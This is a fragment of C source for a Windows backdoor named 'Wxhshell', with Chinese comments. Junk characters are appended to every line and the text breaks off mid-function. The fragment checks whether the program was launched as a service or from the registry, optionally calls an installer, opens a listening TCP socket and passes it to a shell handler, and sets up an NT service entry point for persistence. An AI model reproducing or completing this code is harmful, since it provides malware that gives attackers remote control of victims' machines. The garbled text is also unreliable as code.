DWORD AffinityMask; $"/l*H\h
DWORD BasePriority; @r*GGI!
ULONG UniqueProcessId; ^ul1{
ULONG InheritedFromUniqueProcessId; 0@"'SKq
} PROCESS_BASIC_INFORMATION; )Ac,F6w
+S(# 7
PROCNTQSIP NtQueryInformationProcess; 3/n?g7B
?Xypn#OPt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o[!o+M
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .-rz30xT
\T_ZcV
HANDLE hProcess; f~mwDkf?L
PROCESS_BASIC_INFORMATION pbi; m6e(Xk,)
:P_h_Tizv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8+oc4~!A@n
if(NULL == hInst ) return 0; 7w)8s
Ljz)%y[s
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2T2<I/")O
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G^)]FwTs
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a^J(TW/
]C,j80+pK
if (!NtQueryInformationProcess) return 0; }VJ>}i*
,g7O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hTLf$_|P
if(!hProcess) return 0; yg}O9!M J
z]8Mv(eL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s|<n7 =J
Q;3`T7
CloseHandle(hProcess); D|ze0A@
o!UB x<4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /(s |'"6
if(hProcess==NULL) return 0; Q"FN"uQ}x
ivo><"Y(r
HMODULE hMod; M8WjqTq
char procName[255]; RG45S0Ygj
unsigned long cbNeeded; lF(v<drkB
}XBF#BN
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qt4mg?X/
qWr=Oiu
CloseHandle(hProcess); _)5E=
45.ks.
if(strstr(procName,"services")) return 1; // 以服务启动 )b1hF
QHO n?e
return 0; // 注册表启动 cN&Ebn
} G>vK$W$f N
*$0*5d7
// 主模块 n}Z%D-b$
int StartWxhshell(LPSTR lpCmdLine) [ ft6xI
{ zS;ruK%2
SOCKET wsl; k)>H=?mI
BOOL val=TRUE; Ql5bjlQdO
int port=0; o
i'iZX
struct sockaddr_in door; ),N,!15j,
%W D^0U|
if(wscfg.ws_autoins) Install(); Gn
9oInY1
eWv:wNouk
port=atoi(lpCmdLine); QoxYzln
Wd;t(5Xl
if(port<=0) port=wscfg.ws_port; h623)C;
MS""-zn<
WSADATA data; %^lD
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gf.ywqE$Y$
72~L ?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ZskX!{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V6dq8Z"h
door.sin_family = AF_INET;
s*gqKQ;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); HQ"T>xb
door.sin_port = htons(port); 'm*W<
QTa\&v[f
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B;[ .u>f
closesocket(wsl); ldTXW(^j
return 1; _0Ea 3K
} ?=Ceo#Er
-b!Z(}JK
if(listen(wsl,2) == INVALID_SOCKET) { ^)]U5+g?
closesocket(wsl); F,S)P`?
return 1; u=nd7:bv
} K.QSt
Wxhshell(wsl); zl8M<z1`1
WSACleanup(); i=<;$+tW
cu>(;=
return 0; }6a}8EyFP
bEcN_7
} *ilh/Hd>
)I*(yUj
// 以NT服务方式启动 eV}" L:bgJ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LI.WcI3uS
{ <Mvniz
DWORD status = 0; k^ZP~.G
DWORD specificError = 0xfffffff; W6>t!1oO+
Ci-Ze j
serviceStatus.dwServiceType = SERVICE_WIN32; FLG"c690
serviceStatus.dwCurrentState = SERVICE_START_PENDING; BJ5MCb.w
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $`GlXiV
serviceStatus.dwWin32ExitCode = 0; *CXc{{
serviceStatus.dwServiceSpecificExitCode = 0; LGuZp?"
serviceStatus.dwCheckPoint = 0; }h Wv
p
serviceStatus.dwWaitHint = 0; &